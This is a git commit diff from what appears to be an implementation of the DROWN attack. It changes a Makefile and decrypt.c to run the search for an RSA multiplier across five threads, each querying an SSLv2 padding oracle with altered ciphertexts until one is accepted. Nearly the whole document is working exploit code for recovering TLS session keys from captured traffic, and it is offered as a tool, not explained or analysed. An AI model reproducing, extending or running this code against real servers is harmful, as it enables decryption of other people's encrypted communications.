Skip to content

Commit 3bda996

Browse files
committed
Threaded search of multipliers
1 parent e91f500 commit 3bda996

File tree

2 files changed

+85
-17
lines changed

2 files changed

+85
-17
lines changed

Makefile

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
CFLAGS=-I$(SSL_PREFIX)/include -O3
22
#CFLAGS=-I$(SSL_PREFIX)/include -g
3-
LDFLAGS=-Wl,-rpath,$(SSL_PREFIX)/lib -L $(SSL_PREFIX)/lib -lssl -lcrypto -ldl -lm
3+
LDFLAGS=-Wl,-rpath,$(SSL_PREFIX)/lib -L $(SSL_PREFIX)/lib -lssl -lcrypto -ldl -lm -lpthread
44
DECRYPT_OBJS=drown.o oracle.o trimmers.o decrypt.o utils.o
55
TRIMMABLE_OBJS=trimmable.o oracle.o trimmers.o decrypt.o utils.o
66

decrypt.c

+84-16
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
#include <openssl/bn.h>
22
#include <openssl/err.h>
33
#include <openssl/ssl.h>
4+
#include <pthread.h>
45
#include "decrypt.h"
56
#include "oracle.h"
67

@@ -63,19 +64,40 @@ int oracle_valid(drown_ctx *dctx, BIGNUM *c)
6364
return 0;
6465
}
6566

66-
/*
67-
Finds a multiplier s, so that c * (s * l_1) ** e is valid
68-
Updates c, s, mt, l, ?
69-
*/
70-
int find_multiplier(drown_ctx *dctx, BIGNUM *mt, BIGNUM *l_1, BN_CTX *ctx, BIGNUM * ss)
67+
#define NUM_THREADS 5
68+
69+
struct shared_data_t
7170
{
72-
BIGNUM *c = dctx->c;
73-
BIGNUM *n = dctx->n;
74-
BIGNUM *e = dctx->e;
71+
drown_ctx *dctx;
72+
BIGNUM *mt;
73+
BIGNUM *l_1;
74+
BIGNUM *ss;
75+
pthread_mutex_t mutex;
76+
int done;
77+
int l;
78+
};
79+
80+
struct shared_data_t shared_data = {
81+
.mutex = PTHREAD_MUTEX_INITIALIZER,
82+
};
83+
84+
void * find_multiplier_thread(void *data)
85+
{
86+
int num = (int)data;
7587

88+
BIGNUM *c = shared_data.dctx->c;
89+
BIGNUM *n = shared_data.dctx->n;
90+
BIGNUM *e = shared_data.dctx->e;
91+
BIGNUM *l_1 = shared_data.l_1;
92+
93+
BN_CTX *ctx = BN_CTX_new();
7694
BN_CTX_start(ctx);
77-
BIGNUM * inc = BN_CTX_get(ctx);
78-
BIGNUM * upperbits = BN_CTX_get(ctx);
95+
96+
BIGNUM *inc = BN_CTX_get(ctx);
97+
BIGNUM *mt = BN_CTX_get(ctx);
98+
BN_copy(mt, shared_data.mt);
99+
BIGNUM *ss = BN_CTX_get(ctx);
100+
BIGNUM *upperbits = BN_CTX_get(ctx);
79101
BIGNUM *se = BN_CTX_get(ctx);
80102
BIGNUM *l_1e = BN_CTX_get(ctx);
81103
BIGNUM *cl_1e = BN_CTX_get(ctx);
@@ -88,10 +110,21 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *mt, BIGNUM *l_1, BN_CTX *ctx, BIGNU
88110
// We will try every value of s, so we will add instead of multiplying
89111
// Compute our increment
90112
BN_mod_mul(inc, mt, l_1, n, ctx);
91-
BN_zero(mt);
113+
114+
// Since we have several threads, each one will test the values of s in {num + i * NUM_THREADS}
115+
BIGNUM *ii = BN_new();
116+
BN_set_word(ii, num);
117+
BIGNUM *nn = BN_new();
118+
BN_set_word(nn, NUM_THREADS);
119+
BN_mod_mul(mt, inc, ii, n, ctx);
120+
BN_mod_mul(inc, inc, nn, n, ctx);
121+
BN_free(ii);
122+
BN_free(nn);
123+
92124

93125
// Search multiplier
94-
for(unsigned long s = 1; l == 0; s++)
126+
unsigned long s;
127+
for(s = num + NUM_THREADS; l == 0 && !shared_data.done; s += NUM_THREADS)
95128
{
96129
BN_mod_add(mt, mt, inc, n, ctx);
97130
// Check if the upper bits are 0x0002
@@ -103,17 +136,52 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *mt, BIGNUM *l_1, BN_CTX *ctx, BIGNU
103136
BN_mod_exp(se, ss, e, n, ctx);
104137
BN_mod_mul(cc, cl_1e, se, n, ctx);
105138

106-
l = oracle_valid(dctx, cc);
139+
l = oracle_valid(shared_data.dctx, cc);
107140
}
108141
}
109142

110-
BN_copy(c, cc);
143+
if(l)
144+
{
145+
pthread_mutex_lock(&shared_data.mutex);
146+
if(!shared_data.done)
147+
{
148+
shared_data.done = 1;
149+
// We found a result, save it
150+
BN_copy(c, cc);
151+
BN_copy(shared_data.mt, mt);
152+
BN_copy(shared_data.ss, ss);
153+
shared_data.l = l;
154+
}
155+
pthread_mutex_unlock(&shared_data.mutex);
156+
}
111157

112158
BN_CTX_end(ctx);
159+
BN_CTX_free(ctx);
160+
161+
return NULL;
162+
}
163+
164+
int threaded_find_multiplier(drown_ctx *dctx, BIGNUM *mt, BIGNUM *l_1, BN_CTX *ctx, BIGNUM * ss)
165+
{
166+
pthread_t tids[NUM_THREADS];
167+
168+
shared_data.dctx = dctx;
169+
shared_data.mt = mt;
170+
shared_data.l_1 = l_1;
171+
shared_data.ss = ss;
172+
shared_data.done = 0;
173+
174+
for(int i = 0; i < NUM_THREADS; i++)
175+
pthread_create(&tids[i], NULL, find_multiplier_thread, (void *)i);
113176

114-
return l;
177+
for(int i = 0; i < NUM_THREADS; i++)
178+
pthread_join(tids[i], NULL);
179+
180+
return shared_data.l;
115181
}
116182

183+
184+
117185
/*
118186
We have c0 = m0 ** e (mod n)
119187
m0 = PKCS_1_v1.5_pad(k)), with |k| = ksize
@@ -160,7 +228,7 @@ void decrypt(drown_ctx *dctx)
160228
BN_mod_inverse(l_1, l_1, n, ctx);
161229

162230
// Find a multiplier
163-
l = find_multiplier(dctx, mt, l_1, ctx, ss);
231+
l = threaded_find_multiplier(dctx, mt, l_1, ctx, ss);
164232

165233
// Remember our multiplier
166234
BN_mod_mul(S, S, ss, n, ctx);

0 commit comments

Comments
 (0)